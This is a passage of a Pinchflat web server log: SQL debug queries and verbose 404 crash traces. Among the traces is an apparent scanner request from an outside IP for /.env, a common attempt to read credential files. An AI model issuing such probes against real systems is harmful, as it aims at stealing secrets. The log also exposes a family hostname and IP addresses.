15:40:09.772 [debug] QUERY OK source="sources" db=1.5ms idle=42.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [1, 37] 15:40:09.773 [info] Sent 200 in 83ms 15:40:09.809 [debug] QUERY OK source="media_items" db=44.5ms queue=35.8ms idle=7.1ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:40:09.813 [debug] QUERY OK source="media_items" db=3.8ms idle=80.5ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:40:09.813 [debug] QUERY OK source="settings" db=0.1ms idle=48.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:09.813 [debug] QUERY OK source="settings" db=0.0ms idle=42.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:09.813 [debug] QUERY OK source="settings" db=0.0ms idle=41.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:09.814 [debug] QUERY OK source="tasks" db=0.1ms idle=5.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 15:40:09.815 [debug] QUERY OK source="media_items" db=1.0ms idle=1.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:40:09.815 [debug] QUERY OK source="media_items" db=0.1ms idle=2.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 15:40:09.816 [debug] QUERY OK source="sources" db=0.1ms idle=2.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?,?,?,?)) [25, 36, 1, 2, 37] 15:40:09.855 [debug] QUERY OK source="media_items" db=38.3ms idle=3.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 15:40:09.856 [debug] QUERY OK source="media_items" db=0.7ms idle=41.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 15:40:09.856 [debug] QUERY OK source="sources" db=0.1ms idle=40.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [1, 37] 15:40:09.857 [info] Sent 200 in 130ms 15:40:10.603 [info] GET /index.html 15:40:10.604 [debug] QUERY OK source="settings" db=0.1ms idle=787.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:10.604 [debug] QUERY OK source="settings" db=0.0ms idle=748.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:10.604 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:10.604 [error] #PID<0.21321.0> running PinchflatWeb.Endpoint (connection #PID<0.21320.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /index.html ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21320.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/index.html", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51516}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21321.0>, params: %{}, path_info: ["index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/index.html", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAe-SjpqjqsiQACLrh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21320.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/index.html", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51516}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21320.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/index.html", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51516}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21321.0>, params: %{}, path_info: ["index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/index.html", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAe-SjpqjqsiQACLrh"} ], scheme: :http, script_name: [], secret_k (truncated) 15:40:10.707 [info] GET /checkout 15:40:10.707 [debug] QUERY OK source="settings" db=0.1ms idle=851.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:10.707 [debug] QUERY OK source="settings" db=0.0ms idle=851.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:10.707 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:10.708 [error] #PID<0.21323.0> running PinchflatWeb.Endpoint (connection #PID<0.21322.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /checkout ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /checkout (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21322.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/checkout", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51528}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21323.0>, params: %{}, path_info: ["checkout"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/checkout", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAe-rSQygwjeYACLsB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21322.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/checkout", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51528}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /checkout (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21322.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/checkout", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51528}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21323.0>, params: %{}, path_info: ["checkout"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/checkout", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAe-rSQygwjeYACLsB"} ], scheme: :http, script_name: [], secret_k (truncated) 15:40:10.811 [info] GET /.env 15:40:10.811 [debug] QUERY OK source="settings" db=0.1ms idle=775.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:10.811 [debug] QUERY OK source="settings" db=0.0ms idle=207.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:10.811 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:10.811 [error] #PID<0.21325.0> running PinchflatWeb.Endpoint (connection #PID<0.21324.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21324.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51540}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21325.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAe_EBXIwtTVAACLsh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21324.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51540}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21324.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51540}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21325.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], 